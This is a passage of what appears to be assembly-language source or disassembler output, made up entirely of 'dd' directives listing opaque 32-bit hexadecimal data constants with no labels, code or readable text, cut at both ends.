65FB00Ah, 7C76569Dh, 7B94309Dh, 3C93767Eh dd 578B2C6Ch, 538291CAh, 6CFD2111h, 2B8C004Dh, 0EF1BAD26h dd 6002C9ABh, 1F3D7688h, 1024FE8Dh, 0CC5B2530h, 1AA203Fh dd 31B9E083h, 2E8BC1B0h, 0C62EEFDh, 0E6021FF5h, 92927D70h dd 80EC715Dh, 6AFBC1A9h, 0A302E132h, 0A58629D4h, 23B6608h dd 27EF4776h, 6AC0B34Ah, 909771E4h, 12C956E1h, 0E4DF7865h dd 9BD15D72h, 0CC870139h, 0C41E5F50h, 4C7D287Eh, 0C71D4217h dd 822CDBB0h, 0C8B6F602h, 1512F174h, 205F91E6h, 0C6F6C57Ch dd 0BB374C03h, 0A00A472Bh, 456677Ch, 0A69BD5BFh, 12A0B869h dd 2ECD820Fh, 1427FB2Ah, 0BB645779h, 0C2F8E00Bh, 13EA005Fh dd 92085FDh, 0C8B8270Dh, 0BB2EB970h, 68A52E33h, 0FE2BDEA1h dd 0EE810260h, 6D7437B0h, 0E50798DFh, 0A1200109h, 270C4F58h dd 91EFD881h, 5A839700h, 4496BF61h, 8B4B163Ch, 9D9204D1h dd 0B5E9062Ah, 25297A45h, 0BFC42375h, 4947551Dh, 8466DF8Dh dd 0D8BE142Bh, 9A6E7AC0h, 0A3719605h, 0DC5F5E00h, 0F333B286h dd 0D8381AC9h, 82DF349Fh, 0D5053985h, 24B4C11Bh, 401689ABh dd 0E9A35137h, 0E4C86A4Bh, 0B5A87DE3h, 0D997A25Bh, 72CCC8C8h dd 719903FEh, 6A6E404h dd 8AF3B894h, 0F7842644h, 0DCAACE69h, 0E458642h, 0BF80BA38h dd 0AD58DF9Ch, 1CEB4D0Bh, 8B740818h, 413F949h, 0AEEEF56Eh dd 0D3C083B9h, 61978FDAh, 0E0623C12h, 920B12F6h, 0D318ABh dd 68C86979h, 165B3957h, 0D9EFC72Fh, 0B4AAC541h, 829C7B51h dd 32E81BE1h, 7963205Bh, 561AE52Dh, 1A52DEF9h, 25F65E38h dd 2D3AF82Ch, 0B9587276h, 0B42FD5Bh, 4368F549h, 0B79FFCE1h dd 0D969006Eh, 765B778Dh, 7336FE09h, 99442Ch, 99C157DEh dd 1A3EF8DCh, 24494600h, 0CDEAAF03h, 0B5E001A3h, 5FFACF80h dd 0C32520FCh, 5B9D6A75h, 8553F84Eh, 140C82A1h, 0C258E8ABh dd 55200DB5h, 0B5276F79h, 20710000h, 583DD979h, 56B3FB13h dd 3E6F21AFh, 0C685E436h, 0AA289100h, 0B9E1E59h, 2D087CECh dd 0C45C5417h, 0DAEB5B65h, 13A548B9h, 60FE10E5h, 6CA74A5Ah dd 4D3C1A04h, 348C0724h, 0EF59031Dh, 6A80AFF9h, 53885FDBh dd 0EBBD8D89h, 880DC998h, 0B3DAB73Ah, 89E8E20Ch, 0E9BAD539h dd 0DB667Dh, 0ADC4B5F4h, 2F4EDD01h, 0A02A9E00h, 0BCEE264Ah dd 845F50B0h, 0E6035EADh, 301DF2E6h, 7F00C1C5h, 0FD977B4Ah dd 0B09874E1h, 221525C7h, 3CACE7E5h, 272900D6h, 6416BA94h dd 0E59512EEh, 4C73E95Fh, 0F3F01D51h, 39351396h, 8084DB4Ah dd 4F2AA7B8h, 13D9EACEh, 0A2F86DEEh, 0A5888816h, 1A4A36F8h dd 0F85B80F6h, 0E7E3E17Bh, 32B307Bh, 619A959Dh, 70F75B4Ah dd 0D6A8E35Dh, 0C9CD0803h, 8A953102h, 73F15510h, 0A08B8380h dd 25510AE5h, 0B7FFE1FFh, 7DF00070h, 6D9072C2h, 7D0EFC4Dh dd 0A5B8065Ah, 6F5F76E2h, 0A6DD605Ch, 8EA073EDh, 0BFBEE2CCh dd 5EAC6952h, 0AB93335Eh, 0EB07C6D9h, 0BB070CD4h, 1855A20Ah dd 0ED51A374h, 1C5BD2h, 5FB824F0h, 0C37731B6h, 88D96A00h dd 0CE791F89h, 0AAFE2782h, 0E6A180C6h, 60AC34C5h, 6F782E9Bh dd 85F94EF6h, 3F6EEA98h, 2F41200h, 0E8D2D5CEh, 457A0084h dd 7B17609Eh, 6F000E22h, 15EBE437h, 1266DC33h, 0AE9646BFh dd 6EAAB253h, 954F04C4h, 0CCF15330h, 1C73D82Bh, 23359786h dd 6E32F903h, 8C9BAB22h, 0F5C0D0B8h, 0BABBCB81h, 4613C027h dd 9BDBECFh, 0A1D26C2Dh, 0AB9FBF05h, 3EE144E9h, 0A68F0Ch dd 546308BCh, 1845A1Fh, 9DD85600h, 53197F26h, 0F37EE35Bh dd 0CF872CC7h, 0C075CDCBh, 9D2BD191h, 4D7D2BFh, 2A77068h dd 0EC5B872h, 0F41DA48Fh, 7E4F25CEh, 0EBAD1237h, 8501167Bh dd 89377A5Ch, 6A79219Ch, 8EB1BB27h, 0E62A1B53h, 301BB2D3h dd 93026FEAh, 62B4CB20h, 40E874E8h, 81DEEF68h, 0E5033A00h dd 61F1EA4Bh, 0B6780B56h, 0E9724054h, 0D2CEE925h, 5D851043h dd 0D7F8A20Fh, 0E18DA230h, 0B9961F42h, 45FB852h, 7428EBD9h dd 5B18E9F1h, 0BF92FB9Eh, 1448FAA2h, 0F8EEBF02h, 3274227Fh dd 3CB5EBh, 4D96D75Fh, 13047666h, 89A279CBh, 0EBCEC5ABh dd 60973DDAh, 856741DFh, 8620964Eh, 7BD13114h, 30F7120Ah dd 0A32DAE05h, 0FCD69E2Ch, 0B87CA0DBh, 82310047h, 65C5A137h dd 5F2D516Ch, 955B505Bh, 1664FDCDh, 0BBB2267h, 5300B0F8h dd 8CFC683Ch, 380F648Dh, 604E2B82h, 0CFA322F0h, 69075F1Ch dd 0D0DCF1C0h, 202A23Eh, 8BD844BCh, 0DB7187A7h, 609F2300h dd 0FF9BD0Eh, 50667F4Dh, 5BC19CE2h, 8F03DA48h, 6D64922Dh dd 87AC14Fh, 0B73030C1h, 0A58CDB4Eh, 2EBE0560h, 0C13F09A5h dd 81DE2h, 0EFB75061h, 25014C34h, 7C4259BDh, 910835D7h dd 20EE931Ch, 79B36AA6h, 67B07A4Eh, 0F87BC911h, 3F851C57h dd 0CA4B52BFh, 533D2777h, 40B6D828h, 0B958004h, 4FA8F5Dh dd 0BB2EE958h, 0B73CDCh, 0D235D49Fh, 0CE661514h, 40B4B10Fh dd 6BAE529Eh, 3017E26Bh, 9E2E3C1Dh, 0F90977D9h, 0F402742Ch dd 416B5E00h, 0BC78AC94h, 0EB80131Ah, 8592A21Fh, 0D5F904EDh dd 0E7DC0E80h, 0FC4C3227h, 4EFD38CBh, 0CF1050CEh, 0D6B65A04h dd 267DBD08h, 6046CD72h, 964B61ACh, 859D8909h, 0AF8AD30Bh dd 0A9C4C58h, 0D6A65C2Fh, 735AB19Dh, 0FE80DC3Ch, 53C9BC9Dh dd 24337D0Fh, 1340FDDDh, 566DF238h, 4F950A1Ch, 1B855003h dd 0FAE53704h, 34897581h, 286F7Eh, 877BDAD7h, 12766C23h dd 0AABD03C9h, 0CD4E7ACAh, 27BE6889h, 0A0DF4E04h, 0AA3B5FE4h dd 5DFB5D9Ah, 169F8AD0h, 0B937C041h, 77A9D3DCh, 26AC2AA9h dd 2BCBF5D2h, 8B6EAFh, 0A49C36F1h, 1421FFE7h, 880C2833h dd 0AE0A7D13h, 17230D6Fh, 15C77E00h, 2D950137h, 0B8591961h dd 0CDF6E225h, 0F6CEE0E4h, 0EA0790F9h, 249CBB48h, 16B1537Eh dd 5325C096h, 0C19AAB02h, 43289893h, 89EFF3BDh, 0EE02526Dh dd 0D5090581h, 161113B7h, 0BE968684h, 813C1FA1h, 4C504B1Ah dd 50E345F7h, 54C2FFF4h, 0DC6179EFh, 90114085h, 2A04BF32h dd 5BA2CB80h, 0C8379AEBh, 0BBB3C01Ah, 150077A7h, 8B961967h dd 946050D9h, 0E0FF4782h, 717C0D5Fh, 67F5B103h, 0E064AD39h dd 571484h, 3665B966h, 61B5B25Fh, 0BC25965Dh, 0BEC7FE7h dd 0E6E38084h, 77BD89A2h, 0D45EA8ABh, 53EF0CF6h, 401508E9h dd 52E8700h, 36C52822h, 0A5B51389h, 4E74B725h, 0F912EDA8h dd 80DBAD31h, 0DAA6F02Fh, 7379B5E4h, 0F4BD9E64h, 0F7F03AEDh dd 0BFBD0026h, 3E97CD95h, 53B66096h, 0D918CA43h, 24F00C70h dd 0FD1E0016h, 5C755762h, 60EA718Ah, 50596102h, 5548B352h dd 60C12FD9h, 11D5BA66h, 7A2E892Ah, 6C81A7B3h, 455F2FB7h dd 14686FEDh, 0D3A0B778h, 0FBE125BFh, 778C040Bh, 0FAFC0818h dd 549CD1BDh, 0DC85E11Fh, 30EBF412h, 918D0187h, 3CEF0E52h dd 9C26A095h, 0A7132EB8h, 44957D46h, 5E0F0FB1h, 0BBE52193h dd 0F3C2BF13h, 6A5F0519h, 9152359h, 7A01C759h, 3B8E92DFh dd 0D952A732h, 0C47F00CEh, 1E8E65AFh, 7B019998h, 886E188Bh dd 0C5440D04h, 0C95FF3BAh, 5B568751h, 12DD9DE1h, 0F4E7F66Ah dd 45DEC9Ch, 624A14B9h, 11D8EC2Eh, 27000AE9h, 0B91FC9E0h dd 530EE8E6h, 12C65C12h, 0B7BCFDBDh, 4CBCA14Eh, 2EC308E5h dd 5DD7E909h, 0BF1F3C50h, 0C1D42FA1h, 377D37FDh, 3D64C25Eh dd 0DECED419h, 0F58D1616h, 0B5162913h, 4BE8FBBDh, 0D2DC6B02h dd 9805A595h, 0D1BB9Ch, 26FA9C6Ch, 3F5E839Eh, 806F9C8h dd 19226230h, 53CAC900h, 0AEA27274h, 0F8B904A9h, 0B30FE280h dd 0DF2D6978h, 2A801537h, 0BFEF6F76h, 0A3E01441h, 0C22DB105h dd 35081FD6h, 5A852815h, 0BD54D1ADh, 17AD3395h, 50A72361h dd 0AF291FA0h, 19CCF064h, 0B65F17BCh, 0EBC000BCh, 7F3EACF4h dd 0FE583F99h, 0A2BF2500h, 0C616077Ah, 0B4AAA000h, 1E922D3Bh dd 0B5290049h, 0C08DB93h, 840136D6h, 8748DD67h, 22D07EA8h dd 5DA20063h, 23F033E5h, 0EE007928h, 1AD5F3B4h, 0BE16036h dd 22020B69h, 1D6E6D80h, 2C0064B8h, 1A06869Fh, 0ACF9A6h dd 5FC1BB7Fh, 4D19FC27h, 0A7E4C860h, 70A464h, 1873969Bh dd 10F3741Ch, 195ABC1Eh, 0A3FF0F7Dh, 5C442712h, 7C012850h dd 0DCE830DAh, 0BC60A554h, 8B3BC971h, 3E6680F3h, 3AED31B6h dd 1FE97115h, 6A18EC3h, 182CBAD8h, 8A145F3Ah, 0D61EC534h dd 0EB733C00h, 2618E2AFh, 302897BBh, 2870A810h, 5C010703h dd 3009B3CFh, 0C8219409h, 0FE002868h, 0C9702C10h, 1EF4979h dd 9A9D4FD3h, 871E9CD5h, 81188828h, 0E806D847h, 7CB0011h dd 0F362704Bh, 6A661CACh, 7521FF09h, 484B01ABh, 0F535B08Bh dd 98C880E2h, 17E9CF38h dd 9C5C305Eh, 6D8819D0h, 38B20330h, 0D5CFEBh, 0E438B6DBh dd 0CC30EF3Ch, 21C808CCh, 0DBDD0FF4h, 70072EAh, 0AD77426Dh dd 0B0D28A31h, 84407161h, 50E14414h, 0C5039029h, 7EA3BAh dd 0F13A64F5h, 0E80F278Bh, 0A081B0BDh, 3BCD97DCh, 5B2B005Fh dd 314C4B6Bh, 27004E86h, 0BDE70DAFh, 88C68Dh, 0EA668A50h dd 1A56B476h, 0FB184200h, 68B0717Bh, 6C4D00B3h, 0D5D4523h dd 0C000B35h, 7241238h, 4839FDh, 526D374Bh, 2D7F09D6h dd 0ABB94700h, 9FD9C713h, 59100B1h, 0E49CDF55h, 4700DCD3h dd 29511AB0h, 1ED6079Eh, 0C06BC7C4h, 8CCF6C71h, 0A438E6A0h dd 42AA0023h, 37A9F96Dh, 562D0047h, 308B571h, 0ED000A8Bh dd 0F7B6EE73h, 0BFEC7Bh, 9C0287C9h, 3C037C8h, 907468E6h dd 0B53A4478h, 15FD009Ah, 964B22CAh, 53FC00D0h, 26D954F5h dd 19C05245h, 1002DF7Eh, 3C5E7C14h, 84147A60h, 0BA06F0A1h dd 2839FA5Dh, 0BC55030Ch, 162D61B9h, 0EA662486h, 15B48003h dd 9640A811h, 0CC4500D3h, 3D2812FDh, 30C3D489h, 215F9990h dd 0D700E128h, 23ECA2BCh, 2CE0063Dh, 78CF8CAFh, 0FC503206h dd 86D160D8h, 697C311Ch, 9CE07719h, 0A864FC0h, 4298875Eh dd 2526063Ah, 1AC02FFAh, 21339880h, 0A1115C15h, 13D1D600h dd 8DEAD4E1h, 5CAE2B01h, 5A1A506Ah, 4032080h, 44EC107Eh dd 153639h, 0F09F2645h, 181DB293h, 0B15173FBh, 7900626Ah dd 0F38AB72Dh, 74EE27D1h, 0E3F90CD3h, 73515268h, 2E313A67h dd 25D9BD61h, 0DDFCF0h, 452C9F2Bh, 0EC3B9382h, 0F8E87E0Ch dd 883D7884h, 85019B78h, 0F0E3CCFAh, 0A0410752h, 7E10135Dh dd 0D0507CD7h, 0C500DF98h, 0CBBF3EF0h, 109B3Ch, 75DF292h dd 3B9D8068h, 0DFFCE90Ch, 0E4B47929h, 240450C6h, 6F52889Bh dd 3C738000h, 0B0E43B2Bh, 5C8E2825h, 0D0A501BCh, 86A15FFFh dd 585BD484h, 7E143615h, 8FDA04A0h, 3888BAB0h, 112142FEh dd 0A3CD5BBh, 930FEF0Ch, 0CE18B011h, 389A8499h, 0C711333Bh dd 2100A608h, 6199D6D5h, 0DBBC2Ah, 0F563A719h, 551AE631h dd 0F8EFB4A9h, 130051A8h, 87CF16Fh, 1A2B6DEh, 0C9E50247h dd 83926273h, 0BE455050h, 93983E27h, 1DD0472Ah, 920E4Ah dd 5174D5D4h, 340F406Eh, 4084F44Fh, 69F6875Dh, 2097031Ch dd 0BC648FF2h, 9136E803h, 232538BFh, 0CC05EDD8h, 0B2848699h dd 20B96C22h, 6099D4D7h, 31A4070Fh, 553661AAh, 218396B6h dd 40DB8629h, 91EC05F8h, 7C486090h, 0FD578728h, 0CB0E7E1h dd 66B858CCh, 213F08D4h, 40E57C00h, 0F499DE67h, 50BA0006h dd 56B8FEDFh, 0B23E4EABh, 87448EA8h, 90401288h, 0F8FAECE3h dd 5B180C7Ah, 8098294h, 14C321C0h, 0F2FE17FAh, 1BC100D4h dd 6CAF7748h, 2B199D42h, 0D0A840BBh, 0E1F6FB18h, 11FCB023h dd 0E37A004Eh, 0DBEC6F40h, 38E404A3h, 973AEE5Dh, 1727A038h dd 0B00AFBC1h, 0C303645h, 2CC66004h, 20822C82h, 0B04678F6h dd 3FCE2D13h, 309B1447h, 0B49F68C0h, 73EA2410h, 5BA63CB0h dd 8C448A64h, 0FAE7C080h, 0F0467AFDh, 0C6021722h, 1AECFAEFh dd 7F3C4854h, 41FB012Ah, 9BD34FB4h, 94EFEC6Dh, 59023B02h dd 91BD55D9h, 1FD4C9E8h, 78D1803Ah, 2A04914Ch, 0B20D843Dh dd 0B8338E45h, 25E09CC1h, 6424506Ah, 4630903Ch, 99C802E9h dd 31CF2982h, 0D0D310A7h, 62E90099h, 0D9B83C88h, 7A261193h dd 0EA1A042Bh, 0D4D80479h, 0E540FF60h, 111CB023h, 827E3D4Ch dd 898DA640h, 658CA0F8h, 3ACEDA4h, 522A28Fh, 88AA3C0Bh dd 78B69C90h, 0B1116839h, 0A5FD1A66h, 29D8F261h, 0C48705A9h dd 84CA24AEh, 5BAC40ADh, 0ACB61BD7h, 0C878101h, 0C883A39Dh dd 4C19B4ECh, 8840ECBEh, 0CB048C14h, 0C7297F99h, 0D020B862h dd 3999D3h, 0F48BAAA8h, 0EC334A2Bh, 50FAC532h, 0A1044458h dd 0E6188D0Ch, 7AFEFA08h, 0EEC570C8h, 2C72FA00h, 0C704E67Bh dd 0E07D4878h, 246C2310h, 0F5748CFBh, 8000E518h, 74C43B59h dd 58FE6E2Dh, 84407877h, 23C030E8h, 0C9D9B7B8h, 0DFF09102h dd 6817B124h, 7342E4h, 9404C139h, 584413EFh, 35057001h dd 0C3F6ECD7h, 7E2D4083h, 583D7AFFh, 1A138031h, 78342A5Fh dd 635CAD84h, 0BBE8CCFDh, 2B09307Eh, 21526F6Eh, 0F988FA7Ch dd 56019C57h, 69E41BC5h, 104301FBh, 2847362Eh, 48A4D9E1h dd 9A0020DCh, 752A4F0Fh, 1A1E040h, 0B07A8630h, 0D4672FF4h dd 117E54C0h, 0BC99AB2Ch, 63003391h, 0EE078D98h, 0DE775E83h dd 938EFD3Dh, 38545052h, 184420BCh, 3937D6FCh, 13608998h dd 36E850A9h, 0D2EC0F40h, 8CA0D309h, 0F8BA16FCh, 0A2944200h dd 7A934BD1h, 805C59AFh, 2082B800h, 6DE3B2CEh, 3D9A938h dd 0E629DB02h, 0AF9AF0D7h, 361CF7Fh, 21AF980h, 98A09E1Fh dd 0EA813DFFh, 0E2DAC30h, 82933BD5h, 0E4DCDDE0h, 0E8B8B0FAh dd 0D805340h, 0FC883B7Ch, 4D98E751h, 0F006585h, 0B74979A3h dd 0C690C7Eh, 0FB896286h, 0A403A229h, 0ADCF2042h, 98CD83DBh dd 0B88DD01Fh, 86AF1740h, 2C4400D4h, 4E2A71E9h, 757613Ah dd 0C963095Bh, 0A6DCEED0h, 84050E7Eh, 6C8C7F6Eh, 0B13B9821h dd 0DA40019Fh, 739D15Ch, 9E3DB0FFh, 0C4B8015Dh, 0FBFA5AA4h dd 330802Fh, 0A140428Bh, 25560605h, 81EAD57h, 6A217460h dd 0BE404Ah, 7E77646Ch, 5262ACD9h, 171271C0h, 0B68E3Eh dd 94D02F3Ch, 0C94EDF16h, 38F7A1Ch, 8091BE41h, 35CC4DC5h dd 0EF2A005Dh, 17DF9332h, 2F30CC49h, 0DD02685Fh, 0A86160C2h dd 0AC54E5BEh, 2B023376h, 0AFABE8CFh, 1FFE3A5h, 73870920h dd 4ECBF04Bh, 0AF651120h, 0C2C1AD80h, 8A00FE39h, 82F1E6D2h dd 0C09BFC24h, 0BA8F69E9h, 2D03B656h, 80BB3F9Fh, 0FF4EB82Eh dd 0EACF0062h, 0A014DC8Bh, 0BF007116h, 3E31469Dh, 30245EE2h dd 0A589CAD7h, 0B0ACF35Ah, 15DD454Ch, 88B0EE05h, 4CC1809Eh dd 169B1840h, 2B7CAE98h, 0E9D79101h, 80672895h, 8E6031E3h dd 0E371DC31h, 633D2903h, 0A76DFCC4h, 0FDA482C0h, 84503CBh dd 62426B1Eh, 7D0189EEh, 0E8386107h, 0C44736F5h, 32C5A50h dd 7494002Dh, 0E4DD1913h, 1FFC738Dh, 117268CEh, 0EFA22900h dd 8EA08247h, 988A5F19h, 21803C08h, 88EFAAC0h, 200946DDh dd 27E5E9Bh, 41143406h, 4318F938h, 5AC400Ah, 6B70881Eh dd 0BB400E4Bh, 70F1DB9Bh, 5849E818h, 0A09A01B8h, 0A45A3488h dd 1EF646B8h, 5DE4046h, 77511E3h, 9D404E6Eh, 67DE228Fh dd 0E556C062h, 60916055h, 4C8A3916h, 63CB33Ah, 0CBDE9BFFh dd 0D5823F89h, 5097EA0h, 55E20Dh, 9284E338h, 5907025Eh dd 5A71DF9Bh, 0A4049042h, 0EFA560B1h, 88822344h, 0C3002811h dd 6923EFADh, 1E002A41h, 0DABCDFDDh, 3CA08473h, 0CA0451D9h dd 949F868Bh, 4A1082C0h, 0F2F8B531h, 22C646DCh, 0DD440167h dd 5DD2EB9Fh, 0EB43EDD9h, 9283F680h, 53615805h, 94043501h dd 3488722Bh, 0CF051F1Eh, 36970028h, 5C394DADh, 82F63201h dd 0D264DA22h, 111A092h, 0D824B0F0h, 0FAB85084h, 93246246h dd 0D240442Ch, 0D2A044Bh, 83FCC35Ah, 1C92F429h, 28164E00h dd 4B01D010h, 806E0013h, 14D968DAh, 601EE78h, 0AD09F05Ah dd 0A9805F22h, 0C81AEB7Bh, 370C1511h, 8C5DA2Eh, 1D21C380h dd 0C09C1AF3h, 7569839Dh, 245FC224h, 359AE42h, 31B20E84h dd 700E88Ah, 0E80725A0h, 0F4405211h, 0E57D3A43h, 0B9053C01h dd 0B1DA669Eh, 811430F8h dd 80590024h, 15F094E9h, 30F20944h, 6F19CFCh, 0DA00635Fh dd 32D3CD60h, 4CAF0A82h, 0C101B626h, 0EAA8D1C9h, 32EAB97Dh dd 29FE88A4h, 732C8582h, 546FB484h, 1F72384h, 5A24041h dd 8877184Eh, 13B0496Dh, 7DD15350h, 9BCAA601h, 268DE951h dd 263D3C30h, 12408C8Ah, 940C0849h, 15861282h, 0FCF06064h dd 0ABA0A8CCh, 0C67C2868h, 850A02ECh, 399AA505h, 0DBDDC868h dd 0B03CEC24h, 31795B03h, 31299BD1h, 0AE60DE68h, 0A2F1139Bh dd 0C8F0B393h, 4611B21Ah, 588322C5h, 0FE00E31Bh, 0A95EB435h dd 0BD31BE17h, 5283A02Eh, 228D9452h, 4F40D3ABh, 100C5D92h dd 498E0156h, 23080AA4h, 9B0EE27h, 10024883h, 0D2005A3Ch dd 7998DFE9h, 5D1B80DBh, 5ACE58C4h, 7B6AE24Eh, 0CEF11D4h dd 3044D2E3h, 6487198Ch, 52577026h, 0EF30A974h, 11B4111Ah dd 808188F5h, 0F41AF719h, 5790A223h, 0FCFA2709h, 91849F0Ch dd 96A28173h, 3420120Eh, 2A32E6BFh, 0AD505AD2h, 25AC60B4h dd 0B90042D0h, 0AABD1BD4h, 61F1AD68h, 6ADB7986h, 648CC8BAh dd 36029700h, 256C428Fh, 0A846861Fh, 0C91AEE02h, 8E311D11h dd 1AF61E10h, 0E9B53403h, 0A5C0756h, 4829419h, 84003CC4h dd 0DEB723EDh, 24183993h, 4918083h, 1C625D0Dh, 0BEDCD124h dd 4A1A0C01h, 8082FBE9h, 932D5429h, 1D9A2789h, 0F022385Ah dd 0D95F8B69h, 0DD0AEC77h, 0FC44CB1Bh, 80B9398Fh, 72B4A1EFh dd 4E163A69h, 3826E00h, 0C2F519D0h, 0A3806C01h, 0E3A0A820h dd 582DD8C0h, 67003082h, 2CF14AD4h, 13000C2Ah, 584CDF42h dd 0C93EDC5h, 0CC9FD1D5h, 0BE3E1640h, 38100D2h, 62DF5B32h dd 0FE3F005Dh, 0BBD57DF1h, 0A00194BDh, 9BA37317h, 50240113h dd 9D209F9h, 0C405386Dh, 0D1848142h, 9B870136h, 88DB8020h dd 0B6240504h, 0CD86E849h, 2285595h, 1DDE45EBh, 74C4A37Dh dd 18F57C98h, 45EF08A0h, 33C47082h, 0EFA8C640h, 580C6A35h dd 193E179Bh, 0C85C5462h, 65E034h, 2D5D16Fh, 172006FBh dd 2A954E12h, 0AA43F400h, 7CD2F7B8h, 99B618EAh, 0E9DA1875h dd 0A459A92Eh, 4E5C1689h, 9C754124h, 0A42CA238h, 0EDDD8287h dd 0E19E05Ch, 70CBAA05h, 0B72734C1h, 0C8682942h, 0E720213Ch dd 90C818C7h, 0AB87DB11h, 9882C2EFh, 0C9112E31h, 0BE0E3093h dd 0AE250C00h, 47116051h, 3509E48Dh, 8E024F5h, 0F2C0949Ch dd 4611B51Ah, 0FC8622FDh, 222E4FAh, 648D4E68h, 241AFAEh dd 15602040h, 8C45B0A0h, 3C900782h, 39A6F9B0h, 6ED50BBEh dd 84823250h, 0A8AB1AADh, 29659002h, 4C79FE00h, 5CD931DDh dd 32F53A10h, 1FC2354h, 5A34044h, 0B00828E6h, 0B4043C0h dd 561505D9h, 0BD58282Ch, 10567C41h, 5C6C9458h, 68049E46h dd 0B0F20E65h, 0CD1A3490h, 41587875h, 0CB0805E4h, 344BA203h dd 27FCDEDh, 0CC1AD220h, 48E0DACAh, 3AE2F106h, 4910C4A0h dd 0D53EEF00h, 0DA702928h, 42781Bh, 0A57662ACh, 22C285B6h dd 80A33C3Bh, 7DD5EBB7h, 0E2BC56Ch, 94536F9Ch, 1FBB8FFFh dd 0B0F226E0h, 61FB157Ch, 3592F098h, 5107E67Ch, 0B92C2523h dd 5B24D240h, 0FD96008Eh, 38B38FF2h, 0B674E73Ah, 78216260h dd 9E9516h, 77AF1809h, 65912256h, 2CA0FD0Ch, 1026026h dd 6D23BBF7h, 8E53E6B3h, 0DA0FC68h, 48A02046h, 38BE2010h dd 28B0C41Eh, 0ABCF0CA0h, 0D019216Eh, 645F020h, 7B2D2408h dd 0B20741D6h, 6711F8FEh, 4F275FD1h, 0BE0831DFh, 0E4D61421h dd 0A000AF71h, 7295FE4Bh, 41E290CEh, 8088A0A2h, 52ABD10Ch dd 1FF0705Ch, 888E63h, 753670F1h, 0CA3D840Ch, 0D8B61CC1h dd 8BE9A580h, 38A9527h, 76585BFh, 2C8924Dh, 4200677Eh dd 530526CCh, 0EA5AA808h, 3CFA077Bh, 0A066581Bh, 0B573EB84h dd 1E9F2E00h, 0DE1A83A2h, 0A197000Ah, 0A0987220h, 0EDF0F65Ch dd 0F129AB00h, 0E3486C95h, 0DB30041h, 0AF0181BBh, 1CFC67E4h dd 85351B1Fh, 0B27EC803h, 1DC7F8B1h, 4A0F017Ah, 0C650A4B3h dd 0F2189BDEh, 7AE7E041h, 334C00D7h, 0ACA17DFh, 0A41C9724h dd 2E0CD364h, 71A49A0h, 7D201E96h, 0BD76037Bh, 70A193Bh dd 0D2BB576Ch, 92F202h, 0BE07A7BFh, 9A701300h, 0B2204CAFh dd 0DF61063Eh, 814B3FFEh, 0FC344700h, 8CDD9ED4h, 366D0113h dd 5C441A0Eh, 0E2F8D31Dh, 33000410h, 0CC4C1EB6h, 0D37AC5h dd 504742F5h, 0C959AD40h, 121CA4Ch, 87DC6B0Dh, 3FE4E6C7h dd 49310698h, 40E9A4DEh, 90FA3Eh, 2DB24B08h, 0F94323h dd 36FD9C1Fh, 0C80E4ACDh, 18D7C13Ch, 0B210B672h, 6D0002Ch dd 159E558Fh, 4B676A1Eh, 97809C18h, 649D937Dh, 80381053h dd 8B180D62h, 5AB12F60h, 37DB790Fh, 0C110B067h, 0F035881Dh dd 0FE7380C5h, 74F47600h, 0C37E127Ah, 0D2310032h, 20CA2FE5h dd 52016A11h, 0C734DD7Fh, 59820EA4h, 0EE4AE649h, 0CF947083h dd 33E97811h, 40EC731Fh, 21E342F6h, 0CB3CEB4Dh, 25B08190h dd 0CFBE431Eh, 9FBC9180h, 0B623D3ECh, 5B617160h, 0EF6AB83h dd 4BB22910h, 0B03003A0h, 1700D3E9h, 5DDD33A8h, 0E44708h dd 487B4E63h, 85219EEFh, 0ABB1F000h, 0A57C52AEh, 0BBFD014Fh dd 869DEC36h, 2FF6F03Eh, 0DD25671Eh, 220C9140h, 0E53BDA3h dd 6E3AE0FDh, 5700558Fh, 0AAB31EC5h, 3A4403Ch, 3E19D3F7h dd 40CC97DEh, 3618181Bh, 0ACB3182Dh, 86307A14h, 1D8A1024h dd 41B33963h, 41E390A2h, 0B0571100h, 67A210E5h, 7AB71C7Bh dd 5530BABFh, 0E4186021h, 0F5DD7C07h, 99E00FB9h, 33EC3D1h dd 0B6B0BFBDh, 881D4ECEh, 1479C56h, 0D6C11BEFh, 18BA85DEh dd 5CB2CA88h, 0D0F7E102h, 1F43CBh, 34B73C10h, 91F4C4EAh dd 0C1B91300h, 0EBECC2Eh, 84E50046h, 554FFE35h, 0ED002B24h dd 7EAF43A0h, 1817BA97h, 1868C7EAh, 92072F40h, 1550B0A8h dd 1836E4C2h, 438408DCh, 0D96C1002h, 20625E88h, 106A11D0h dd 40057A77h, 0B510ECB1h, 240612A0h, 0A045FB8Eh, 0F7756E07h dd 0AFA1E059h, 2083EC03h, 0AD1DAEACh, 69E4EBF8h, 0AA7951CEh dd 13001C26h, 8E351468h, 3C5F789Ah, 853C50F0h, 3492200Eh dd 0EE9BA043h, 2AFC501Eh, 81DEF3A8h, 770C351Eh, 1E942198h dd 5624926h, 0C1FB4169h, 0B96D6848h, 0A4DA0C79h, 5465C88Ch dd 45AC64h, 0E210917h, 0FCBBAD14h, 0E32947EAh, 0A10E9858h dd 1B670892h, 0F8E0B955h, 79C22A2Dh, 806BE1AEh, 3260A318h dd 9AC0000Ah, 4D0EEF12h, 7F00D99Eh, 870C82AEh, 0A1A02CEh dd 0B29DEB1Bh, 83C3D214h, 0B955C818h, 0F508A79h, 36B2733Eh dd 2C7FE640h, 40013AB1h, 0FC5201FFh, 59D08028h, 6E1D0136h dd 5655A12Ah, 6F4081E8h, 3EED4C06h, 6704B88Fh, 995FA000h dd 0F12891B4h, 0B00344Fh, 0DDF23FA2h, 7170D8h, 0ACFAE974h dd 0E0A720C0h, 6744E403h, 933B8E0Dh, 2B5017E8h, 49BB0085h dd 0E7F4863Ch, 0A11D340Fh, 83048F78h, 0E0D4F5Bh, 93BFE261h dd 0E0B22AC0h, 0CB01C098h, 9A94D705h, 0F3E135ACh, 9754FFCh dd 0DB59F57Dh, 68DA2701h, 0E0B45323h, 466903A0h, 0C9F32800h dd 786D29CEh, 3AAFEE6h, 65F5444Fh, 69A0241Fh, 4179997Bh dd 28D7C714h, 672060ACh, 1879D8CBh, 59A292B0h, 0C700F124h dd 0DE54B548h, 0C678C65h, 57215EF3h, 4ADFA10h, 0CF4F1BD6h dd 0F2A01008h, 0C1002252h, 5D4720A2h, 7C27CDD8h, 4F660090h dd 48DAE471h, 79629FCCh, 24304C29h, 10752202h, 0B88994D2h dd 0BE44DC08h, 87DB44D9h dd 84847744h, 0F0965622h, 7B7F88DEh, 8036D088h, 5300EB8Eh dd 0FC6B9552h, 0EABEF2CBh, 329D004Ah, 0E517C2E9h, 25007F8Eh dd 0B784E6ACh, 3CC73AFh, 540BAA1Fh, 9880150Dh, 0DF006C11h dd 0AD2D3D21h, 0A0954Ah, 